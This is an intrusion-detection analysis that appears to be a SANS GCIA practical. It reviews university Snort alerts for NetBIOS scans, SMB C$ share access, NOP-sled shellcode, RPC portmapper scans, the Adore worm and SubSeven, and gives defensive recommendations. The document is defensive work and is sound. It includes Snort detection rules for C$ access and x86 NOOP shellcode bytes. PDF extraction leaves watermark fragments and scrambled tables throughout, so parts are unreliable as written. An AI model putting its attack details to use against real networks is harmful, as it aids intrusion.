Table 3.2: Top sources alert #1
sti
tu
So it seems some internal devices are trying to access or scan Internet hosts, looking for Windows leshare resources outside. The top external destinations dont seem to have any relationship between them (table 3.3).
te
20
- The IDS sensor is placed in a border network where the trafc between internal hosts never passes through. - The alert signature only matches outgoing trafc. In Windows network this type = trafc is very common, so for sure the trafc A169 4E46 Key fingerprint of AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4generated by and going to internal systems is discarded by the IDS.
04
,A
src MY.NET.70.159 MY.NET.150.6 MY.NET.70.109 MY.NET.153.21 MY.NET.150.44 MY.NET.150.198 MY.NET.150.133 MY.NET.80.51
ut
ho
All these systems scanned different hosts and only generated this alert type, except MY.NET.29.2, that also generated one [UMBC NIDS IRC Alert] XDCC client detected attempt alert. Therefore, these hosts will probably contain some kind of NetBIOS scanning tool used to map wide address ranges. MY.NET.84.224 is probably sharing les with 5 specic hosts, although this theory could be wrong because at the IP level they are not related at all between them. Apart from that, there is no trafc going to internal systems. There could be two reasons for this:
rr
79
SA
NS
In
Table 3.4: Top evil sources for alert #1
Based on source port analysis, it was possible to discard false positives, normal Windows trafc from port 137 to port 137, from real evil scanning packets. table 3.4 shows the hosts compromised and the information summary about the evil attempts. Correlations:
eta
count 1 2 4 30 97 408 64874 115590
ins
fu ll r igh ts.
Table 3.3: Top destinations alert #1
Raul Siles - GCIA
Defensive recommendations:
This alert is associated to NetBIOS lesharing trafc and the event indicates an attempt to access the default administrative share C$. If allowed, the attacker can access the C: lesystem. This trafc occurs as part of a NetBIOS TCP established session going to TCP port 139, so it is difcult the IP source addresses have been spoofed. All detects come from external systems going to internal hosts, so it seems some outsiders are scanning MY.NET trying to nd open Windows shares, specifically, the C$ share associated to the typical main hard disk partition (C:).
5
http://www.sans.org/resources/idfaq/port_137.php
SA
NS
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB C$ access"; flow:to_server,established; content: "|5c|C$|00 41 3a 00|";reference:arachnids,339; classtype:attempted-recon; sid:533; rev:5;)
In
sti
Similar Snort signature:
tu
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 Message: SMB C access (28546) SID: [1:533:5] Snort ruleset: netbios.rules Priority/Category: Recon References: http://www.whitehats.com/info/IDS339 Number src.int. /src.ext. /dst. int. /dst. ext.: 0/619/959/0 (all incoming)
te
20
04
3.4.2
Alert #2: SMB C access
,A
80
ut
- Other practicals recommended to reduce the amount of alerts generated limiting the signature of this trafc to match only when the source address doesnt belong to MY.NET. This will help to reduce the huge IDS noise generated by it but will miss the attempts generated from inside, as the ones detected here. - The perimeter conguration seems to be correct, denying all inbound NetBIOS trafc. - The eight evil talkers systems should be investigated to determine the reason why they are generating all this outbound trafc.
ho
rr
eta
ins
fu ll r igh ts.
- GCIA practicals (refers to honor practicals): [BEAR1] [DON1] [JASO1] Based on the information provided in other practicals, it seems the signature has been customized and now only generates alerts for trafc coming into the local network from outside (ltered by the perimeter) and outgoing trafc going from MY.NET to external networks. The IDS sensor location compared to other IDS logs has probably been modied too. - Detailed technical description about this detect 5 . - See the arachnids reference above in the summary alert table.
Raul Siles - GCIA
The source of this trafc is highly distributed around 600 systems. Top external sources only generate this type of alert addressed to dozens of different systems (table 3.5).
src 61.147.18.195 138.89.11.51 80.50.168.42 count 236 295 663 dst MY.NET.152.166 MY.NET.191.52 MY.NET.84.228 count 149 1146 5088 # src 16 16 68
Table 3.5: Top sources alert #2
6 7
http://archives.neohapsis.com/archives/snort/2000-01/0220.html http://www.wesi.ch/itsecurity/detect2.html
- Although previous alert analysis (Alert #1) concluded that NetBIOS trafc is blocked at the perimeter level, it seems that not all NetBIOS trafc is ltered. In this case, TCP port 139 is allowed and lots of requests have been logged. - Therefore, it would be a desired countermeasure to lter this type of incoming trafc because all these detects are part of some scanning activities. - Apart from that, it is recommended to harden the Windows systems in order not to share unnecessary resources, such as C$ and to advise users about the importance of reducing the number of open resources.
SA
NS
In
sti
tu
te
20
- GCIA practicals: [DON1] - Thread 6 describes who and why this alert signature was created. Key fingerprint = AF19detail by [WESE1] in detect 2 7 . 06E4 A169 4E46 - Analyzed in FA27 2F94 998D FDB5 DE3D F8B5 - See the arachnids reference above in the summary alert table.
04
,A
ut
81
Correlations:
ho
All activities are targeting about a thousand hosts but have three top specic targets (table 3.6). First and third top destinations also received an External RPC call from 193.114.70.169. Besides, MY.NET.152.166 received 8 EXPLOIT x86 NOOP alerts from 8 sources. Second talker only received this type of NetBIOS trafc. Therefore all this detects should be blocked because they are part of some scanning activities.
rr
eta
ins
fu ll r igh ts.
Table 3.6: Top destinations alert #2
Raul Siles - GCIA
3.4.3
Alert #3: MY.NET.30.4 activity
Table 3.7: Top external sources alert #3
These ports are used by Novell Netware 5.x servers and clients (524) and by Netware 6.0 offering secure Web services (HTTPS) access (51443, see the Correlations section below). So it seems there are systems integrating Windows and Novell services. All the trafc going to or coming from this net, MY.NET.30.X, was analyzed in order to understand its purpose: - MY.NET.30.4: There were no alerts generated from this system, and all alerts addressed to it were categorized as this trafc except a specic External RPC call alert from 193.114.70.169. - MY.NET.30.3: (See also Alert #6) Again, no trafc was generated from this host, and all trafc correspond to the alert number #6 but two External RPC 82
SA
NS
In
- 51443: Always accessed from ephemeral source ports. - 524: Again, accessed from ephemeral source ports. NCP, Netware Core Protocol.
sti
tu
te
Almost all trafc comes from the class-A networks 68 (7870 attempts) and 66 (2587 attempts). It is recommended to contact Comcast (see section 9) in order Key fingerprint = AF19 this trafc. to evaluate the reason for FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 The trafc was mainly addressed to the previous ports, that is, Web, Windows services (135, 445, 139) and two specic ports:
20
04
,A
ut
ho
rr
src 151.196.19.202 172.142.110.232 68.54.91.147 68.55.85.180
count 997 1124 2743 2933
Table 3.8: Top destinations ports alert #3
eta
ins
fu ll r igh ts.
dst 139 554 445 135 524 80 51443 count 6 8 17 30 1210 3901 10378
Message: MY.NET.30.4 activity (15603) SID: custom Snort ruleset: N/A Priority/Category: N/A References: N/A Number src.int. /src.ext. /dst. int. /dst. ext.: 0/447/1/0 (all incoming) This trafc corresponds to a customized event alerting about trafc going to a specic system: MY.NET.30.4. Several source system attempted to access this host from outside, but there was no activity from inside.
Raul Siles - GCIA
Table 3.9: Alerts to MY.NET.30.X
Correlations:
- It is recommended to lter the trafc addressed to the Novell servers from the specic source systems that must access host MY.NET.30.4, not allowing everyone on Internet to send packets to this host. Besides, it should be analyzed why so many different external hosts are accessing its services. - From the IDS perspective and trying to reduce this signature noise, it would be better to focus the alert on the specic trafc the University is interested in, excluding all the normal Novell packets. - Update the target system not to contain potential vulnerabilities associated to the public Novell services running.
http://cert.uni-stuttgart.de/archive/incidents/2000/10/msg00170.html http://www.sans.org/y2k/102000.htm 10 http://www.extremetech.com/article2/0,3973,1157504,00.asp 11 http://novell2.net-burg.com/Docs/NetWare/WebServicesTraining.pdf
9 8
SA
NS
In
sti
tu
- GCIA practicals: [WESE1] - The thread Increased trafc to port 524 describes the usage of this port by Netware systems 8 . - Worm spreading through port 524 9 (initially considered potential trafc associated AF19 detect; discarded later). Key fingerprint =to this FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 - Netware 6.0 access methods. Interaction between Windows and Novell hosts 10 . It references the NetStorage application, port 51443. - Netware 6.0 Web Services Training 11 .
te
20
04
,A
ut
ho
rr
83
eta
ins
attack EXPLOIT x86 NOOP External RPC call NETBIOS NT NULL session SMB C access
count 86 39 1 81
fu ll r igh ts.
dstp 135 111 139 139
call alerts from 193.114.70.169. See Alert #8 for an analysis of this RPC trafc. - Other MY.NET.30.X hosts: there were some trafc originated in this network going to external systems triggering the SMB Name Wildcard alert, specically from .67, .82, .83, .84 and .86. Besides, there were 207 additional alerts going to different systems located in this network. Based on the alert information it seems the MY.NET.30.X net is populated by Windows systems using ports 111, 135 and 139 (table 3.9).
Raul Siles - GCIA
3.4.4
Alert #4: EXPLOIT x86 NOOP

EXPLOIT x86 NOOP (11557) Snort ruleset: shellcode.rules Priority/Category: exploit http://www.whitehats.com/info/IDS181 /src.ext. /dst. int. /dst. ext.: 0/1412/936/0 (all incoming)
Message: SID: custom References: Number src.int.
Similar Snort signatures: (shellcode.rules le)
alert ip $EXTERNAL\_NET $SHELLCODE\_PORTS -> $HOME\_NET any (msg:"SHELLCODE x86 NOOP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth: 128; reference:arachnids,181; classtype:shellcode-detect; sid:648; rev:6;) alert ip $EXTERNAL\_NET $SHELLCODE\_PORTS -> $HOME\_NET any (msg:"SHELLCODE x86 NOOP"; content:"|61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61|"; classtype:shellcode-detect; sid:1394; rev:4;)
rr
The packets triggering this alert come from several external addresses going to lots of different internal systems. The detect has associated a unique inbound pattern and both, source and destination addresses, are highly distributed. All packets come from ephemeral client ports.
eta
ins
,A
ut
src 216.232.208.22 24.87.153.94 209.6.97.168
count 412 418 764
dst MY.NET.5.95 MY.NET.27.103 MY.NET.15.198
count 235 366 375
ho
The trafc this detect is related to is mainly focused against Windows systems and its services (DCE, DS and HTTP). See table 3.12. The alert seems to match packets containing x86 NOP instructions (0x90 or 0x61) but without any additional information, such as the packet payload, there is not too much that can be said about the evil or benign nature of this trafc. Sometimes the assembler NOP operation is part of normal data as image les downloaded when browsing the Web (the third top destination port). All packets come from ephemeral client ports, so unlike other references below, this trafc is not associated to responses from external Web servers. Apart from that, all top source addresses are associated to systems in high-speed, cable and dynamic ISP address pools. Based on other analysis it was conrmed that some of this trafc (the top destination port, 135) belong to the MS Blaster worm (see Alert #13). Chapter 2 detect 3 must be used to understand how this worm works. Correlations: - GCIA practicals: [WESE1] [DON1] 84
SA
NS
In
sti
tu
te
20
04
Table 3.11: Top internal destinations alert #4
fu ll r igh ts.
dstp 80 445 135 count 785 2069 8398
Raul Siles - GCIA
- Technical analysis of this type of alert 12 . - Glenn also references the necessity of having a complete network audit trail to be able to analyze this detect 13 . - See the arachnids reference above in the summary alert table.
- The packets generating this detect should be analyzed in order to classify them as a false positives or as the exploitation of a specic vulnerability, probably a buffer-overow due to the usage of assembler code (NOPs).
3.4.5
Alert #5: connect to 515 from inside
Internal source: MY.NET.162.41 External destination: 128.183.110.242 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 At rst sight it seems that 128.183.110.242 is an external printer server used by the internal host, MY.NET.162.41, because this port is used by the Unix LPR service. Analyzing the activities associated to both systems it was conrmed that there were only 4 SMB Name Wildcard alerts from the same source and a few EXPLOIT x86 NOOP (3) and SMB C access (4) addressed to it. The destination system only appeared in this event, as source or destination. The source port used is always TCP 721, and all the alerts were distributed over the 5 days period analyzed (see gure 3.3). Besides, the IDS policy seems to be interested in monitoring the printing trafc (TCP port 515) through customized rules. Apart from this alert, the same alert from outside was reported 2 times: connect to 515 from outside. The attempts were addressed to MY.NET.24.44 and MY.NET.60.14 from 64.209.74.229. These attempts could be associated to an external portscan. Correlations:
12 13
http://www.giac.org/practical/David_Oborn_GCIA.html#detect4 http://is.rice.edu/~glratt/practical/Glenn_Larratt_GCIA.html
SA
NS
In
sti
tu
te
20
04
,A
ut
Similar Snort signatures: There are only 3 rules in exploit.rules (sid:301, 302 and 1821) related with port 515 but none of them seems to be related with this event; they dene vulnerabilities over the LPD implementations.
ho
rr
85
connect to 515 from inside (7126) Snort ruleset: N/A Priority/Category: N/A N/A /src.ext. /dst. int. /dst. ext.: 1/0/0/1 (all outgoing)
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
14 15
http://is.rice.edu/~glratt/practical/Glenn_Larratt_GCIA.html http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=lpd 16 http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=lpr 17 http://www.linuxwidows.com/mirror/bucket/Brian_Coyle_GCIA.pdf
SA
- It is recommended to make use of more specic IDS rules that show the type of LPR vulnerability that someone is trying to exploit, if any. - If the remote printing trafc must be controlled, due to the fact that it is not common to make use of printers out of the local networks, it would be better to block these packets at the perimeter rewalls/routers, not allowing them to cross the network boundaries in any direction (inside or outside).
NS
In
sti
tu
te
- GIAC practicals: [BEAR1] [JASO1] [DON1] - Glenn analyzed this detect, summarizing that it belongs to internal printing trafc 14 . - There have been several vulnerabilities associated to this service, LPD/LPR, in fingerprint = AF19 FA27 2F94 998D FDB5 15 and 16 . Key the past. Searching in the CVE databaseDE3D F8B5 06E4 A169 4E46 - Brian stated this detect as valid trafc and even generated a link graph for it 17 .
20
04
,A
86
ut
ho
rr
Figure 3.3: Distribution of alert #5
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
3.4.6
Alert #6: MY.NET.30.3 activity
fu ll r igh ts.
dstp 445 80 135 524
Message: MY.NET.30.3 activity (5726) SID: custom Snort ruleset: N/A Priority/Category: N/A References: N/A Number src.int. /src.ext. /dst. int. /dst. ext.: 0/100/1/0 (all incoming) All trafc associated to this event comes from one hundred external systems going to an specic address. See also Alert #3 for a deep analysis of this event. Most trafc comes from subnets of the class-A network 68 (4305 alerts) belonging to Comcast (see section 9).
src 68.55.233.51 68.55.27.157 68.57.90.146 count 639 735 1224 count 12 17 28 5607
rr
87
Message: TCP SRC and DST outside network (4517) SID: custom Snort ruleset: N/A Priority/Category: spoong References: N/A Number src.int. /src.ext. /dst. int. /dst. ext.: 0/26/0/111 (all external) This alert is detected when both addresses, source and destination, dont belong to MY.NET, trying to detect spoofed packets or misscongured devices consuming network resources. Most trafc were addressed to ports 21 (FTP control channel) and 996 (vsinet or Xtree License Server) (see table 3.17 18 19 ). Both services were accessed from sequential ephemeral/client ports originated from the same system, the top source talker. Trafc go to two, non-resolvable, different systems. Top talker,
18 19
(*) From 169.254.244.56 to 211.91.144.72 (1420 times) (**) From 169.254.244.56 to 218.16.124.131 (2854 times)
SA
NS
In
sti
3.4.7
Alert #7: TCP SRC and DST outside network
tu
te
As in Alert #3, almost all trafc correspond to TCP port 524, related with Novell systems. This time no Novell HTTPs trafc was captured. Other Windows typical trafc has been also observed so it seems it represent normal Novell behaviour. As mentioned in Alert #3 this system also received two External RPC call alerts. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 Correlations: See Alert #3. Defensive recommendations: See Alert #3.
20
04
,A
ut
ho
eta
ins

dst 63.211.66.115 68.55.61.253 211.91.144.72 218.16.124.131 count 14 42 1420 2854
Raul Siles - GCIA
src 10.0.1.12 68.55.0.64 169.254.244.56
count 42 78 4279
dstp 80 996 21
count 68 (*) 1420 (**) 2860
Table 3.16: Top external destinations alert #7
Key fingerprint = AF19
Correlations:
- GCIA practicals: [DON1] Don dened the term APIPA, Automatic Private Internet Protocol Addressing, as the method used by Windows systems to generate its own DHCP address (described above). - Glenn also analyzed the different networks involved, as I did above, and he
This network was analyzed in Alert #3 and #6, related with specic trafc directed to some internal Novell Netware hosts. These source hosts are registered by Comcast (see section 9), so the company should be contacted in order to gure out why its trafc is crossing the internal network. There is another possibility associated to this type of trafc: if the University staff and students have home access through Comcast, it is possible they connect their home systems to the University network using the Comcast conguration addresses. This situation associated to the nowadays mobility world is very common.
SA
NS
In
sti
tu
te
Table 3.18: Comcast sources in alert #7
20
src count 68.55.89.220 1 68.48.108.8 3 4 FA27 68.55.50.36 FDB5 DE3D 2F94 998D 68.55.0.64 78
04
,A
ut
ho
169.254.244.56, also generated 5 packets going to port 21 to two different external hosts. This activity corresponds to the 94% of this detect. The IP address range, 169.254.0.0/16, corresponds to systems, mainly Windows, unable to successfully negotiate a DHCP lease. In this case most trafc belong to an IP address associated to this DHCP automatic Windows range, and most other trafc belong to [RFC1918] private addresses, networks 10.X.X.X and 192.168.X.X. It is possible that these networks belong to the University infrastructure. This fact must be checked with the network administrators. However, some additional packets belong to some networks starting with 68, mainly 68.55 and 68.48. Both belong to Comcast Cable Communications (see table 3.18).
rr
88
eta
ins
F8B5 06E4 A169 4E46
fu ll r igh ts.
Raul Siles - GCIA
also found AOL source addresses 20 . - Michael also analyzed it, concluding that most of the trafc comes from AOL source addresses, not as in this case 21 . Defensive recommendations: - There is no reason why trafc coming from and addressed to external networks should pass through the University network. Therefore anti-spoong lters should be enforced in all network boundaries. If this is not possible at rst instance, they should be at least applied on the perimeter devices. - Two types of lters must be used, ingress, to block external packets with a source IP address of MY.NET, and egress, blocking internal packets originated from a network different from MY.NET. - Check if the DHCP servers are working properly, probably this is the reason why the top talker couldnt get a DHCP lease, or probably the host with this IP address is misscongured. - Check if some networks use [RFC1918] address spaces. If not, change the conguration of the systems generating the trafc. If so, tune the IDS in accordance to avoid false positive alerts.
Message: External RPC call (3265) Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 exploit SID: custom Snort ruleset: rpc.rules Priority/Category: References: N/A Number src.int. /src.ext. /dst. int. /dst. ext.: 0/4/1829/0 (all incoming) This RPC trafc goes to port 111, that is, the RPC portmapper, a service that maps RPC service names with the corresponding TCP/UDP ports. The RPC scanning has been a common source of attack, listed under the Top 20 vulnerabilities list [TOP20]. The alerts originated only in 4 external hosts, being two of them the main top talkers. These systems scanned lots of internal hosts probably trying to nd a specic RPC vulnerability. The wide destination address range (the most used destination address only appeared 18 times) hit by these packets conrms the scanning activity mentioned. This fact is ratied by the different set of source port numbers used, all ephemeral; 1581 distinct ports. The attacks are coming from service providers all around the globe: UK (Europe), Iceland and 2 different USA states. The public registration information about these 4 systems was analyzed in section 9.
20 21
http://is.rice.edu/~glratt/practical/Glenn_Larratt_GCIA.html http://www.giac.org/practical/michael_wilkinson_gcia.doc
SA
NS
In
sti
tu
te
20
04
,A
3.4.8
Alert #8: External RPC call
ut
ho
rr
89
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
src 64.209.74.229 166.102.99.229 81.15.45.1 193.114.70.169
None of the second high port RPC alert come from one of the four sources analyzed neither they match with the rst high port RPC alert sources. This high port attempts are subject to false positives, because several client services use the same port number. There were some of these events coming from low ports, server responses from services like 22 (ssh), 25 (smtp), 80 (http), 443Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 (https) and 53 (DNS). I found two suspicious packets coming from port 7 (echo) from 202.39.43.243 going to MY.NET.97.31:32771. This is the only trafc of this type in all alert les. It seems this host is scanning for specic vulnerabilities: RPC, NTP and Back Orice. The echo port was used to simulate valid responses. With the goal of conrming the scanning activities associated to this alert the number of scans from this 4 source addresses were obtained (see table 3.19 ). The difference between these sources is that 166.102.99.229 generated specic packets from port 111 to port 111 (not detected as scans, so more dangerous) while the other systems launched noisy scans from several ephemeral ports. The top source scanned hosts involved in other alerts, such as MY.NET.30.3 and .4.
src scans 1363 0 284 19164
SA
NS
In
count 2 7 420 2836
sti
tu
resolution Non-resolvable h229.99.102.166.ip.alltel.net Non-resolvable Non-resolvable
te
20
04
,A
ut
ho
rr
... 10/22-19:03:29.171303 10/22-19:03:29.704936 10/22-19:03:29.705012 10/22-19:03:30.180169 10/22-19:03:31.669023 10/22-19:04:55.387312 10/22-19:05:00.332634 10/22-19:05:00.333135
connect to 515 from outside 64.209.74.229 TFTP - External TCP connection to int 64.209.74.229 TFTP - External TCP connection to int MY.NET.24.44 External RPC call 64.209.74.229 SUNRPC highport access! 64.209.74.229 External RPC call 64.209.74.229 Possible trojan server activity MY.NET.60.14 connect to 515 from outside 64.209.74.229
fu ll r igh ts.
1912 1912 69 1912 1912 2291 27374 2291
The typical RPC attack is based on scanning the RPC portmapper for information and then, based on the data acquisition, scan high RPC ports. This type of alert was also captured, such as SUNRPC highport access, 494 times, or Attempted Sun RPC high port access, found 10 times. This situation typically indicates that the initial External RPC call was succesful and the Unix server replied with the requested information. Correlating the rst high port alert with the alert analyzed here, only the source host 64.209.74.229 generated it. It seems clear it is scanning the network and, as a consequence, received some responses to the stimulus. The previous RPC assumption about events along time is conrmed:
MY.NET.24.44 MY.NET.24.44 64.209.74.229 MY.NET.24.44 MY.NET.24.44 MY.NET.60.14 64.209.74.229 MY.NET.60.14 515 69 1912 111 3277 111 2291 515
eta
ins
dst MY.NET.28.9 MY.NET.6.15 MY.NET.24.65
count 6 8 18
Table 3.20: Top internal destinations alert #8
90
Raul Siles - GCIA Correlations:
int src count ext src count int dst count ext dst Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 MY.NET.53.44 MY.NET.24.20 MY.NET.153.141 MY.NET.80.105 23 24 309 1112 198.86.10.116 202.156.254.68 66.66.71.92 200.96.13.157 13 15 283 1022 MY.NET.153.94 MY.NET.24.44 MY.NET.153.141 MY.NET.80.105 15 17 268 1022 198.86.10.116 202.156.254.68 66.66.71.92 200.96.13.157
04
,A
High port 65535 tcp - possible Red Worm - trafc (3164) Snort ruleset: N/A Priority/Category: backdoor see Correlations section for antivirus /src.ext. /dst. int. /dst. ext.: 40/59/42/69)
ut
ho
rr
3.4.9
Alert #9: High port 65535 tcp - possible Red Worm - trafc
eta
- Block the portmapper port as well as other high ports associated to the real RPC services. Initially, this services should only be accessed by internal host and it is recommended to lter based on IP address, allowing the access only to systems with a trust relationship. - Shutdown all unneeded RPC services and patch those that must be running.
ins
fu ll r igh ts.
- GCIA practicals: [DON1] [JASO1] - Al analyzed it 22 . He described some of the different RPC services that are typically published through the portmapper. - Mark described this attack and also associate it the importance of real reconnaissance activity 23 . He also correlated the information between both RPC alerts analyzed.
Table 3.21: Top int. & ext. sources and int. & ext. destinations alert #9
The Red Worm, also called Adore Worm, is a specic Linux trojan that listen on the top port, 65535. Typically, no other services (except client ephemeral ports) use this port, so this detect is a potential sign of have been compromised. The worm tries to exploit old vulnerabilities associated to 4 Linux services: wuftpd, bind, lprng, or statd, and if it has success, opens a backdoor in the affected system. It seems there is a wide MY.NET infection, where both, internal and external systems are trying to infect several targets that belong to any network. Due to the fact that the LPD service can be a method for this worm to infect a system, and that there were other LPD alerts analyzed (see Alert #5), correlation between both was developed. No relationship was found.
22 23
www.whitehats.ca/main/members/Herc_Man/Files/Al_Williams_GCIAPractical.pdf http://www.giac.org/practical/Mark_Menke_GCIA.doc
SA
NS
In
sti
tu
te
count 18 23 320 1112
20
91
Raul Siles - GCIA
There is another alert, High port 65535 udp - possible Red Worm - traffic, that appeared 438 times, related to the UDP protocol. The worm is only associated to TCP. - From the top internal sources, only MY.NET.80.105 generated this UDP alert 4 times, all them addressed to one of the top external destinations, 66.66.71.92. However, this host never generated the TCP alert against the mentioned target; it was point out from MY.NET.153.94 and 153.141. - From the top external sources, 66.66.71.92 was also involved in UDP trafc: as source it always used source port 65535 and as destination it always used destination port 65535, to and from ephemeral ports. - From the top internal destinations, again, MY.NET.80.105 appeared. All UDP trafc always goes to 66.66.71.92 from port 2740. - From the top external destinations, again, 66.66.71.92 is the most common system. Generally speaking, almost the same top sources and destinations were repeated, so these hosts were involved in sending and receiving trafc from port 65535. Some false positives were detected when clients used 65535 (ephemeral port) as the source port for accessing other services, such as, POP3, HTTP, HTTPS or SMTP. As in the next alert, a portion of a SMTP session is showed:
... Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 10/22-14:41:07.482664 High port 65535 tcp - MY.NET.24.20 65535 12.164.136.188 25 10/22-14:41:07.543787 High port 65535 tcp - 12.164.136.188 25 MY.NET.24.20 65535 10/22-14:41:07.543802 High port 65535 tcp - MY.NET.24.20 65535 12.164.136.188 25 10/22-14:41:07.629854 High port 65535 tcp - MY.NET.24.20 65535 12.164.136.188 25 10/22-14:41:11.837566 High port 65535 tcp - MY.NET.24.20 65535 12.164.136.188 25 10/22-14:41:12.161467 High port 65535 tcp - 12.164.136.188 25 MY.NET.24.20 65535 10/22-14:41:12.165329 High port 65535 tcp - MY.NET.24.20 65535 12.164.136.188 25 10/22-14:41:12.165493 High port 65535 tcp - MY.NET.24.20 65535 12.164.136.188 25
04
,A
ut
ho
rr
eta
ins
Correlations:
-
GCIA practicals: [DON1] [JASO1] [LES1] Glenn also covered both alerts 24 . Technical description of the Adore worm http://www.sans.org/y2k/adore.htm. Adore Worm in the press http://www.itweek.co.uk/News/1120176. Worm description in Spanish http://www.vsantivirus.com/adore.htm. Symantec description 25 .
24 25
http://is.rice.edu/~glratt/practical/Glenn_Larratt_GCIA.html http://securityresponse.symantec.com/avcenter/venc/data/linux.adore.worm.html
SA
NS
In
sti
tu
te
20
92
fu ll r igh ts.
4E46
Raul Siles - GCIA
Key fingerprint = AF19 FA27 2F94 998D FDB5and int. & ext. destinations alert #10 Table 3.22: Top int. & ext. sources DE3D F8B5 06E4 A169 4E46
The same top systems are involved as source and destinations, internal and external (see table 3.22). This pattern is commonly associated to conversations between them. This theory will be conrmed when analyzing the ports involved in the alerts. Due to the very generic nature of this alert message, the ports that are originating and being targeted must be analyzed (see table 3.23 and table 3.24).
NS
dstp 443 25 80 6667 27374
In
sti
count 25 29 66 561 1279
tu
te
20
# src 5 2 29 3 31
04
,A
int src MY.NET.24.74 MY.NET.12.6 MY.NET.24.34 MY.NET.163.249
count 15 21 25 409
ext src 67.121.127.74 212.95.105.31 66.169.146.100 200.163.61.175
count 63 71 303 553
ho
rr
Possible trojan server activity (2006) Snort ruleset: backdoor.rules Priority/Category: http://www.whitehats.com/info/IDS279 /src.ext. /dst. int. /dst. ext.: 25/59/277/50
eta
ins
3.4.10
Alert #10: Possible trojan server activity
fu ll r igh ts.
count 14 21 29 560
- It is not recommended to lter the trafc addressed to port 65535, TCP and UDP, at the perimeter because there is a special reason to allow it: some client hosts can use it as an ephemeral port. Instead it is recommended to lter other unneeded vulnerable services that allow the worm expansion, such as, FTP, DNS, LPD or statd. - The infected hosts must be investigated and the trojan binaries associated to the worm removed. See the Correlations section for instruction to do so. - To avoid the same compromise in the future, it is a must to patch all Linux systems (all Linux distribution provided xes) referenced in this alert and all other Linux systems inside MY.NET.
backdoor
int dst MY.NET.24.74 MY.NET.24.34 MY.NET.12.6 MY.NET.163.249
ext dst 200.30.141.234 66.169.146.100 64.41.183.130 200.163.61.175
count 10 15 18 402
ut
srcp 25 443 80 6667 27374
count 21 24 69 409 727
# dst 2 5 23 2 34
Table 3.23: Top destination ports alert #10
SA
Table 3.24: Top source ports alert #10
It was checked that the alert was triggered when port 27374 appears as source or destination. There are 1279 where it appears as destination and 727 where it 93
Raul Siles - GCIA
All other activities are mainly based on ephemeral ports. This ephemeral trafc is the one that must be analyzed looking for evil packets. The analysis concludes that some hosts were probably compromised: - Host MY.NET.190.1 received lot of trafc to port 27374 from: 66.169.146.100, 67.121.127.74 and 24.199.192.33. - Host MY.NET.190.2 received lot of trafc to port 27374 from: 212.95.105.31. - Host MY.NET.16.114 received lot of trafc to port 27374 from: 67.64.149.135. - Host MY.NET.16.106 received lot of trafc to port 27374 from: 24.35.69.248 and 24.211.143.10. 94
SA
NS
... 10/22-15:50:39.211296 10/22-15:50:39.211883 10/22-15:50:48.680183 10/22-15:50:55.956792 10/22-15:51:02.611643 10/22-15:51:02.611793 10/22-15:51:23.601697 10/22-15:51:23.678433
Possible Possible Possible Possible Possible Possible Possible Possible
trojan trojan trojan trojan trojan trojan trojan trojan
tu
te
Almost all conversations seem to be from the analyzed port to some common Key (see table AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 positives servicesfingerprint =3.25 and table 3.26). Some of these alerts are false4E46 associated to clients using source port 27374 when accessing other services, like HTTP, HTTPS, IRC or SMTP. As an example, the portion of a session is showed:
server server server server server server server server
20
04
activity activity activity activity activity activity activity activity
,A
ut
Table 3.25: Trafc going to 27374 comes from
ho
srcp 25 443 80 6667
count 21 24 69 409
ins
27374 25 25 27374 27374 27374 27374 25
is the source port. Apart from that, the top source and destination ports are the same. The most accessed port is 27374, associated to the SubSeven trojan that runs on Windows; based on the old Netbus trojan. It is a Remote Administration Tool that allows an attacker to have complete control over the victim system. Specically, port 27374 is associated to SubSeven version 2.1. The Treachery Port Lookup Utility [TREA1] is very helpful in determining port to software associations. This tool associates the 27374 port to several different trojans, not only SubSeven but Ramen or Lion. Due to the fact that this is a possible ephemeral/client port, false positives must be discarded. Checking when this port has been used as a source port and accessing what service can help in determining real event of interest.
Table 3.26: Trafc coming from 27374 goes to
64.41.183.130 MY.NET.12.6 MY.NET.12.6 64.41.183.130 64.41.183.130 64.41.183.130 64.41.183.130 MY.NET.12.6
rr
eta
In
sti
fu ll r igh ts.
dstp 443 25 80 6667 count 25 29 66 560
MY.NET.12.6 64.41.183.130 64.41.183.130 MY.NET.12.6 MY.NET.12.6 MY.NET.12.6 MY.NET.12.6 64.41.183.130
25 27374 27374 25 25 25 25 27374
Raul Siles - GCIA Correlations: -
Key3.4.11 Alert #11: ICMP SRC and DST outsideA169 4E46 fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 network Message: ICMP SRC and DST outside network (1825) SID: custom Snort ruleset: N/A Priority/Category: spoong References: N/A Number src.int. /src.ext. /dst. int. /dst. ext.: 0/102/0/1498 (all external) As in Alert #7 this detect is generated when the local net, MY.NET, is not involved in the source or the destination addresses. The ICMP protocol is involved here and, again, some network dened in [RFC1918] were logged. All ICMP alerts captured by the IDS sensor are represented in this event. A network classication has been made based on the source information (see table 3.30). The top source networks were various class-B 172 subnets, not belonging to RFC1918. This address range is associated to AOL, America OnLine 31 : 172.128.0.0 - 172.191.255.255.
http://is.rice.edu/~glratt/practical/Glenn_Larratt_GCIA.html http://www.sans.org/resources/idfaq/subseven.php 28 http://www.giac.org/practical/GCIA/Doug_Kite_GCIA.pdf 29 www.whitehats.ca/main/members/Herc_Man/Files/Al_Williams_GCIAPractical.pdf 30 http://www.hackfix.org/subseven/ 31 http://www.aol.com
